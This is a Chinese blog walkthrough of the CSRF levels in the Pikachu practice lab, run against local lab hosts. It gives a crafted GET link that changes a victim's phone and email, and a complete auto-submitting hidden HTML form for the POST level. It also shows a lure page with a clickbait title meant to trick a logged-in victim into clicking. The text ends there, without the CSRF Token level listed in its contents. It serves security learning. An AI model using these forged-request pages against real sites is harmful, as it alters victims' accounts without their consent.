pikache靶场通关——CSRF攻击

p36273

已于 2023-07-01 22:58:52 修改

阅读量1.2k

点赞数 2

分类专栏： web安全渗透模拟练手文章标签： csrf 前端

于 2023-07-01 22:07:41 首次发布

本文链接：https://blog.csdn.net/p36273/article/details/131494966

版权

web安全同时被 2 个专栏收录

84 篇文章 64 订阅

订阅专栏

渗透模拟练手

14 篇文章 6 订阅

订阅专栏

文章目录

前言
使用工具
第一关（host：192.168.1.107）、CSRF(get) login
第二关（host：192.168.1.108）、CSRF(post) login
第三关（host：192.168.1.112）、CSRF Token login
第三关（方法2，使用插件）、CSRF Token login

前言

在这里插入图片描述
靶场一共又三关，现在我们就来通关吧。

使用工具

Burp Suite Professional抓包工具

第一关（host：192.168.1.107）、CSRF(get) login

Step.1、以受害者身份登录账号

我这里选择了vince的身份登录
在这里插入图片描述

Step.2、以受害者身份点击修改个人信息的按钮

在这里插入图片描述

发现修改成功，URL也没有显示什么信息。

Step.3、以黑客身份使用burp进行抓包（查看对面修改格式）

对提交修改信息时候进行抓包
在这里插入图片描述

看到上面就是提交的get请求数据
从上面的url可见，修改用户信息的时候，是不带任何不可预测的认证信息的。那么，这里应该是可以被利用的。

把修改的get链接复制下来
http://192.168.1.107/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=12345678900&add=%E6%9C%88%E7%90%83&email=hhhhh%40pikachu.com&submit=submit HTTP/1.1

然后就把包释放掉。

Step4、以黑客身份生成一个恶意网页给用户来点击

在这里插入图片描述
这里就修改了电话和邮箱2处

生成恶意网页让受害者点击
在这里插入图片描述

Step5、以受害者身份点击了恶意网站的链接

！注意：这里必须让受害者使用同一个浏览器，并且登录状态还在生效才有用

在这里插入图片描述
很明显手机号码和邮箱被修改了。第一关通关。

第二关（host：192.168.1.108）、CSRF(post) login

在这里插入图片描述
继续选择登录vince的账号。

Step1、以受害者身份点击修改个人信息的按钮

在这里插入图片描述

Step2、以黑客身份使用burp进行抓包

在这里插入图片描述
观察报文，这里学上一关一样没有特殊的信息，可以被利用。

由于这一关是post提交了，无法学上一关那样直接使用URL来改参数。但抓包可知，这个表单的数据数量以及对应的字段名name，这就可以构造一个恶意表单网页来给用户点击。

Step3、以黑客身份生成一个恶意网页给用户来点击

在这里插入图片描述

献上代码：

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title></title>
</head>
<body>
	<form action="http://192.168.1.108/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
		<input type="hidden" name="sex" value="非人类">
		<input type="hidden" name="phonenum" value="10000000001">
		<input type="hidden" name="add" value="太空">
		<input type="hidden" name="email" value="myWord@pikachu.com">
		<input type="hidden" name="submit" value="submit" />
		<input type="submit" id="submit" value="Submit request" style="display: none;">
	</form>
</body>
<script type="text/javascript">
	window.onload = function(){
		document.getElementById("submit").click();
	}
</script>
</html>

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>美女写真</title>
</head>
<body>
<a href="./girl.php"><img src="https://up.enterdesk.com/edpic_source/56/ea/02/56ea02b3aa4d582ef244974b1d7c95ec.jpg" style="width: 200px;height: auto;" alt=""></a>
</body>
</html>